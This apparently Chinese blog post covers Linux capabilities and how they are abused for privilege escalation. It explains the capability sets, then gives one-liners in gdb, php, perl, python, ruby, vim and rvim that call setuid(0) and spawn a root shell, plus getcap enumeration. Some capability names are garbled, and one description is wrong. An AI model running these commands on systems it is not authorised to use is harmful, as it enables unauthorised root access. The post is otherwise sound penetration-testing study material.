Linux capabilities提权

capabilities机制

capabilities能力机制,作为Linux下的一种特殊属性,Linux为了细碎的权限控制管理而引入的一种权限分配机制,Linux 系统将 root 权限划分成更小、更独立的单元 ,允许进程拥有部分权限。这样可以避免不必要地授予完整的 root 权限,从而最大限度地降低风险

常见的capabilities及权限介绍

capability名称描述
CAPAUDITCONTROL启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则
CAPAUDITREAD允许通过 multicast netlink 套接字读取审计日志
CAPAUDITWRITE将记录写入内核审计日志
CAPBLOCKSUSPEND使用可以阻止系统挂起的特性
CAP_CHOWN修改文件所有者的权限
CAPDACOVERRIDE忽略文件的 DAC 访问限制
CAP_DAC_READ_SEARCH忽略文件读及目录搜索的 DAC 访问限制
CAP_FOWNER忽略文件属主 ID 必须和进程用户 ID 相匹配的限制
CAP_FSETID允许设置文件的 setuid 位
CAPIPCLOCK允许锁定共享内存片段
CAPIPCOWNER忽略 IPC 所有权检查
CAP_KILL允许对不属于自己的进程发送信号
CAP_LEASE允许修改文件锁的 FL_LEASE 标志
CAPLINUXIMMUTABLE允许修改文件的 IMMUTABLE 和 APPEND 属性标志
CAPMACADMIN允许 MAC 配置或状态更改
CAPMACOVERRIDE忽略文件的 DAC 访问限制
CAP_MKNOD允许使用 mknod() 系统调用
CAPNETADMIN允许执行网络管理任务
CAPNETBIND_SERVICE允许绑定到小于 1024 的端口
CAPNETBROADCAST允许网络广播和多播访问
CAPNETRAW允许使用原始套接字
CAP_SETGID允许改变进程的 GID
CAP_SETFCAP允许为文件设置任意的 capabilities
CAP_SETPCAP参考 capabilities man page
CAP_SETUID允许改变进程的 UID
CAPSYSADMIN允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
CAPSYSBOOT允许重新启动系统
CAPSYSCHROOT允许使用 chroot() 系统调用
CAPSYSMODULE允许插入和删除内核模块
CAPSYSNICE允许提升优先级及设置其他进程的优先级
CAPSYSPACCT允许执行进程的 BSD 式审计
CAPSYSPTRACE允许跟踪任何进程
CAPSYSRAWIO允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备
CAPSYSRESOURCE忽略资源限制
CAPSYSTIME允许改变系统时钟
CAPSYSTTY_CONFIG允许配置 TTY 设备
CAP_SYSLOG允许使用 syslog() 系统调用
CAPWAKEALARM允许触发一些能唤醒系统的东西(比如 CLOCKBOOTTIMEALARM 计时器)

capability set

继承集(Caplnh)

  • 确认从父进程传递下来的功能
  • 继承来自父进程的权限,保持权限一致性
  • 进程不能获得其父进程不具备的能力

有效集(CapEff)

  • 流程在任何时刻正在使用的实际能力
  • 内核用来授予各种操作权限的一组能力,对于文件而言,这组能力可以是一个标志,指示该文件所允许的能力是否生效
  • 有效集对于立即进行权限检查至关重要,它充当进程可以使用的活动功能集

允许集(CapPrm)

  • 定义一个过程可以拥有的最大能力集
  • 流程可以将某项能力从允许集提升到有效集,从而使其能够使用该能力,流程也可以从允许集中移除某些能力
  • 限制了进程所能拥有的能力上限,确保进程不会超出其预定义的权限范围

边界集(CapBnd)

  • 限制流程在其生命周期内所能达到的能力上限
  • 即使一个进程在其可继承集或允许集中具有某种能力,除非它也在边界集中,否则它无法获得该能力

环境集(CapAmb)

  • 允许在 execve 系统调用期间保持某些功能,而 execve 系统调用通常会导致进程功能的完全重置
  • 确保没有关联文件功能的非 SUID 程序可以保留某些权限
  • 此集合中的能力受可继承集合和允许集合的约束,以确保它们不会超出进程允许的权限

Linux Capabilities管理

Linux为Cao提供了两个管理工具:libcaplibcap-ng

  • libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities,同时还提供了capsh来查看当前shell进程的capabilities。
  • libcap-ng更易于使用,使用同一个命令filecap来查看和设置capabilities

设置和删除cap

setcap cap_sys_admin+ep /usr/sbin/python #设置capabilities权限
setcap -r /usr/sbin/python #移除capabilities权限

权限提升

查找设置了Capabilities的可执行文件

getcap -r / 2>/dev/null 

gdb

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

php

php -r "posix_setuid(0); system('/bin/sh');"

perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

python

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

ruby

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

openssl

setcap =ep /usr/bin/openssl
=ep 等于赋予可执行文件所有权限

vim

vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

rvim

rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

结合GTFOBins使用命令

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇